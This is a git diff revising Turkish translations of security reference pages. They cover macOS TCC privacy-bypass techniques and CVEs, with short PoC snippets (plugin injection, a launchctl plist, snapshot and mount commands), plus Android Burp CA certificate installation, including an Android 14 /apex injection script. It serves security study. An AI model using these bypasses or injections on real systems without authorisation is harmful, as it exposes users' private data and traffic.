ayarlayın * bu çevre değişkeni ile `Music`'i çalıştırarak hatayı tetikleyin -* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgeledir) -* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinde tutun +* `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`'in `open()`'ını yakalayın (X rastgele) +* burada ayrıca bu dosyayı yazmak için `open()` yapın ve dosya tanımlayıcısını elinizde tutun * `/Users/hacker/tmp`'yi atomik olarak `/Users/hacker/ourlink` ile **bir döngü içinde değiştirin** -* bunu yapmamızın nedeni, yarış penceresinin oldukça dar olması nedeniyle başarılı olma şansımızı maksimize etmek, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı vardır +* bunu başarılı olma şansımızı maksimize etmek için yapıyoruz çünkü yarış penceresi oldukça dar, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı var * biraz bekleyin * şanslı olup olmadığımızı test edin * değilse, tekrar en baştan çalıştırın @@ -236,15 +236,15 @@ Daha fazla bilgi için [https://gergelykalman.com/lateralus-CVE-2023-32407-a-mac ### Apple Uzak Masaüstü -Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni bir **TCC kullanıcı veritabanı** kopyalamasını sağlamak için kötüye kullanılabilir. +Root olarak bu hizmeti etkinleştirebilir ve **ARD ajanı tam disk erişimine sahip olacak**, bu da ardından bir kullanıcının yeni **TCC kullanıcı veritabanını kopyalamasını** sağlayabileceği şekilde kötüye kullanılabilir. ## **NFSHomeDirectory** ile TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının **$HOME/Library/Application Support/com.apple.TCC/TCC.db**'deki kullanıcıya özgü kaynaklara erişimi kontrol etmesini sağlar.\ -Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME** çevresi değişkeni ile yeniden başlatmayı başarırsa, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir. +Bu nedenle, kullanıcı, TCC'yi **farklı bir klasöre işaret eden $HOME çevresel değişkeni ile yeniden başlatmayı başarırsa**, kullanıcı **/Library/Application Support/com.apple.TCC/TCC.db**'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir. {% hint style="success" %} -Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarları kullanır, bu nedenle bu değeri değiştirmeye izin veren izinlere sahip bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlandırabilirsiniz**. +Apple, **`NFSHomeDirectory`** özelliğinde saklanan ayarları kullanır ve **`$HOME`** değerini belirlemek için kullanıcının profilindeki ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren bir uygulamayı ele geçirirseniz (**`kTCCServiceSystemPolicySysAdminFiles`**), bu seçeneği bir TCC atlatma ile **silahlaştırabilirsiniz**. {% endhint %} ### [CVE-2020–9934 - TCC](./#c19b) @@ -255,40 +255,40 @@ Apple, `$HOME` değerinin **`NFSHomeDirectory`** özniteliğinde saklanan ayarla **İlk POC**, hedef uygulama için bir _csreq_ blogu alır. -1. Gerekli erişime sahip sahte bir _TCC.db_ dosyası ve _csreq_ blogunu yerleştirin. -2. Kullanıcının Directory Hizmetleri girişini [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın. -3. Kullanıcının ev dizinini değiştirmek için Directory Hizmetleri girişini değiştirin. -4. Değiştirilmiş Directory Hizmetleri girişini [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın. +1. Gerekli erişim ve _csreq_ blogu ile sahte bir _TCC.db_ dosyası yerleştirin. +2. Kullanıcının Directory Services girişini [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) ile dışa aktarın. +3. Kullanıcının ev dizinini değiştirmek için Directory Services girişini değiştirin. +4. Değiştirilmiş Directory Services girişini [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) ile içe aktarın. 5. Kullanıcının _tccd_'sini durdurun ve işlemi yeniden başlatın. **İkinci POC**, `com.apple.private.tcc.allow` değeri `kTCCServiceSystemPolicySysAdminFiles` olan **`/usr/libexec/configd`**'yi kullanıyordu.\ -Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırarak **özel bir Paket yüklemesini** belirleyebilirdi. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`configd` kod enjeksiyonu** ile **`dsexport`** ve **`dsimport`** yöntemini değiştirmesini sağlar. +Bir saldırgan, **`configd`**'yi **`-t`** seçeneğiyle çalıştırabilirse, özel bir **Yükleme Paketi belirleyebilir**. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin **`dsexport`** ve **`dsimport`** yöntemini **`configd` kod enjeksiyonu** ile değiştirir. Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) bakın. ## İşlem enjeksiyonu ile -Bir işlem içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır: +Bir işleme kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} -Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentiler (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\ -Eklentiler, genellikle kütüphane veya plist biçiminde ek kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kodun da olacaktır**. +Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, **eklentileri (kütüphane yükleme)** aracılığıyla gerçekleştirilir.\ +Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından **yüklenir** ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), **özel kod da buna sahip olacaktır**. ### CVE-2020-27937 - Directory Utility -Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentileri yüklüyordu ve **sertleştirilmiş** çalışma zamanına sahip değildi. +Uygulama `/System/Library/CoreServices/Applications/Directory Utility.app`, **`kTCCServiceSystemPolicySysAdminFiles`** yetkisine sahipti, **`.daplug`** uzantılı eklentiler yüklüydü ve **sertleştirilmiş** çalışma zamanına sahip değildi. -Bu CVE'yi silahlandırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcının TCC veritabanını ele geçirebilmek için **kullanıcıların TCC veritabanını ele geçirmek** için değiştirilir. +Bu CVE'yi silahlaştırmak için, **`NFSHomeDirectory`** değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek için **değiştirilir**. Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) bakın. ### CVE-2020-29621 - Coreaudiod -**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık ise **TCC'yi yönetme erişimi sağlıyordu**. +**`/usr/sbin/coreaudiod`** ikili dosyasının ayrıcalıkları `com.apple.security.cs.disable-library-validation` ve `com.apple.private.tcc.manager` idi. İlk ayrıcalık **kod enjeksiyonuna izin verirken**, ikinci ayrıcalık **TCC'yi yönetme erişimi sağlıyordu**. -Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Dolayısıyla, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**: +Bu ikili dosya, `/Library/Audio/Plug-Ins/HAL` klasöründen **üçüncü taraf eklentileri yüklemeye izin veriyordu**. Bu nedenle, bu PoC ile **bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü**: ```objectivec #import #import @@ -319,15 +319,15 @@ Daha fazla bilgi için [**orijinal rapora**](https://wojciechregula.blog/post/pl ### Aygıt Soyutlama Katmanı (DAL) Eklentileri -**Core Media I/O** aracılığıyla kamera akışını açan sistem uygulamaları (**`kTCCServiceCamera`**'ya sahip uygulamalar) **bu eklentileri** işlem içine yükler `/Library/CoreMediaIO/Plug-Ins/DAL` (SIP kısıtlaması olmayan). +**Core Media I/O** aracılığıyla kamera akışını açan sistem uygulamaları (**`kTCCServiceCamera`**'ya sahip uygulamalar), `/Library/CoreMediaIO/Plug-Ins/DAL` dizininde bulunan **bu eklentileri** işlem içine yükler (SIP kısıtlaması olmadan). -Oraya yaygın **kurucu** ile bir kütüphane saklamak, **kod enjekte etmek** için çalışacaktır. +Oraya yaygın **yapıcı** ile bir kütüphane saklamak, **kod enjekte etmek** için çalışacaktır. Birçok Apple uygulaması buna karşı savunmasızdı. ### Firefox -Firefox uygulamasında `com.apple.security.cs.disable-library-validation` ve `com.apple.security.cs.allow-dyld-environment-variables` ayrıcalıkları bulunmaktaydı: +Firefox uygulamasında `com.apple.security.cs.disable-library-validation` ve `com.apple.security.cs.allow-dyld-environment-variables` yetkileri bulunmaktaydı: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox @@ -357,13 +357,13 @@ Daha fazla bilgi için bu [**orijinal raporu kontrol edin**](https://wojciechreg ### CVE-2020-10006 -`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri bulunmaktaydı, bu da süreç içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı. +`/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ikili dosyasında **`com.apple.private.tcc.allow`** ve **`com.apple.security.get-task-allow`** yetkileri vardı, bu da işlem içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı. ### CVE-2023-26818 - Telegram -Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri bulunmaktaydı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. İzinlerine [**writeup'ta bulunan yükü bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`com.apple.security.cs.disable-library-validation`** yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere **erişmek mümkündü**. [**Payload'ı yazıda bulabilirsiniz**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Özel bir plist dosyası oluşturularak bu kütüphaneyi enjekte etmek ve bunu başlatmak için **`launchctl`** kullanılarak ortam değişkenini kullanma şekli dikkat çekicidir: +Ortam değişkenini kullanmak için bir kütüphane yüklemek için bir **özel plist** oluşturuldu ve bunu enjekte etmek için **`launchctl`** kullanıldı: ```xml @@ -393,13 +393,13 @@ Telegram'da **`com.apple.security.cs.allow-dyld-environment-variables`** ve **`c ```bash launchctl load com.telegram.launcher.plist ``` -## Açık çağrımlarla +## Açık çağrılarla -Kumbaralanmışken bile **`open`** çağrısı yapmak mümkündür +Kumlanmışken bile **`open`** çağrısı yapmak mümkündür. ### Terminal Betikleri -Terminal'e **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu izinle kullanarak çağırmak mümkündür. +Terminal **Tam Disk Erişimi (TDE)** vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve **`.terminal`** betiklerini bu erişimle kullanmak mümkündür. **`.terminal`** betikleri, **`CommandString`** anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır: ```xml @@ -430,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` -## Bağlama Yoluyla +## Montaj Yoluyla ### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme -**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar) bir zaman makinesi anı görüntüsü oluşturabilir ve bağlayabilir ve o anının **TÜM dosyalarına erişebilir**.\ -Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık**, bunun bir yönetici tarafından verilmesi gereken (`kTCCServiceSystemPolicyAllfiles`) ayrıcalıktır. +**Herhangi bir kullanıcı** (hatta ayrıcalıklı olmayanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki **TÜM dosyalara erişebilir**.\ +Kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olması gereken **tek ayrıcalık** (`kTCCServiceSystemPolicyAllfiles`) bir yönetici tarafından verilmelidir. {% code overflow="wrap" %} ```bash @@ -461,9 +461,9 @@ ls /tmp/snap/Users/admin_user # This will work Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** -### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerine monte etme +### CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount -TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine monte etmek** mümkündü: +TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını **dizin üzerine mount etmek** mümkündü: ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC @@ -493,7 +493,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ### Konum Hizmetleri **`/var/db/locationd/clients.plist`** içinde üçüncü bir TCC veritabanı bulunur ve burada **konum hizmetlerine erişime izin verilen istemciler** belirtilir.\ -**`/var/db/locationd/` klasörü DMG bağlama koruması olmadığından** kendi plist dosyamızı bağlamak mümkündü. +**`/var/db/locationd/` klasörü DMG bağlama korumasından yoksundu** bu yüzden kendi plist'imizi bağlamak mümkündü. ## Başlangıç uygulamalarıyla @@ -503,7 +503,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ## Grep ile -Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklarlar (bu da Apple için bir zayıflık olarak kabul edilir). +Çeşitli durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zayıflık olarak kabul edilir).
@@ -511,11 +511,11 @@ Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mes Bu artık çalışmıyor, ancak [**geçmişte çalışıyordu**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** -
+
Başka bir yol [**CoreGraphics olayları kullanarak**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf): -
+
## Referans diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index decdecf75..b5984a466 100644 --- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -7,8 +7,8 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -20,7 +20,8 @@ HackTricks'ı desteklemenin diğer yolları: ![](<../../.gitbook/assets/image (367).png>) -**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **Android makinesinde burp sertifikasını yapılandırmak için AVD'de** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.** Örneğin şu şekilde çalıştırabilirsiniz: +Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim**. **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.**\ +Örneğin şu şekilde çalıştırabilirsiniz: {% code overflow="wrap" %} ```bash @@ -43,39 +44,39 @@ adb reboot #Now, reboot the machine ``` {% endcode %} -**Makine yeniden başlatıldığında**, burp sertifikası onun tarafından kullanılacak! +**Makine yeniden başlatıldığında**, burp sertifikası tarafından kullanılacaktır! ## Magisc Kullanımı -Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için yazılabilir hale getiremiyorsanız**, önceki adımları takip edemiyorsanız, Burp sertifikasını yüklemek için başka bir yol bulunmaktadır. +Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için** Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol bulunmaktadır. -[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi yapmanız gerekenler: +[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir: -1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın**, böylece İndirilenler klasöründe saklanır ve `Sertifika yükle` -> `CA sertifikası`'na gidin +1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin -
+
-* Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI`'ya gidin +* Sertifikanın doğru bir şekilde kaydedildiğinden emin olmak için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin -
+
-2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefondaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle`'yi tıklayın, `.zip` modülünü seçin ve kurulduktan sonra telefonu **yeniden başlatın**: +2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, **`Modüller`** bölümüne tıklayın, **`Depodan yükle`**'yi seçin, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**: -
+
-* Yeniden başlatıldıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin +* Yeniden başlattıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin -
+
## Android 14 Sonrası -En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşındı, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir. +En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** olarak **taşınmıştır**, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir. -**APEX cacerts yolunu** yazılabilir hale getirmeye yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile unmount veya overlay yapma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar. +**APEX cacerts yolunu** yazılabilir hale getirmek için yapılan denemeler başarısızlıkla karşılanır, çünkü sistem bu tür işlemlere izin vermez. Dizin üzerindeki **PRIVATE** yayılma kaldırılmaya çalışılsa bile, bu değişikliklerin etkisiz olduğu görülür; uygulamalar, dosya sistemi seviyesindeki değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağlantısının **PRIVATE** yayılma ile yapılandırılmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar. -Android'in başlatılması, işletim sistemi başladığında başlatılan `init` işlemi ile başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder. +Android'in başlatılması, işletim sistemini başlatan `init` işlemiyle başlar ve aynı zamanda Zygote işlemini başlatır. Bu işlem, yeni bir bağlama ad alanı içeren bir Zygote işlemi ile uygulama işlemlerini başlatma sorumluluğunu üstlenir, bu da bu dizindeki değişiklikleri diğer işlemlerden izole eder. -Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle yeniden bağlayarak ÖZEL yayılmayı kaldırmayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalayıp, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırarak salt okunur kısıtlamayı ortadan kaldırıp, ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir. +Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i elle **yeniden bağlama** işlemiyle **PRIVATE** yayılmayı kaldırarak yazılabilir hale getirmeyi içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini bağlamayı kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -139,8 +140,8 @@ echo "System certificate injected" ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikalarının bu dizine kopyalanması gerekmektedir. Bu, muhtemelen `/apex/com.android.conscrypt/cacerts/` dizininden varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır. -3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatma işleminden sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur: +2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır. +3. **Zygote için Bağlama Montajı**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index b81966e26..03040132e 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -1,9 +1,9 @@ -# iOS Pentesting Checklist +# iOS Pentesting Kontrol Listesi -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ Hemen Erişim Sağlayın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,12 +12,12 @@ Hemen Erişim Sağlayın: Sıfırdan Kahraman Olarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** +* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
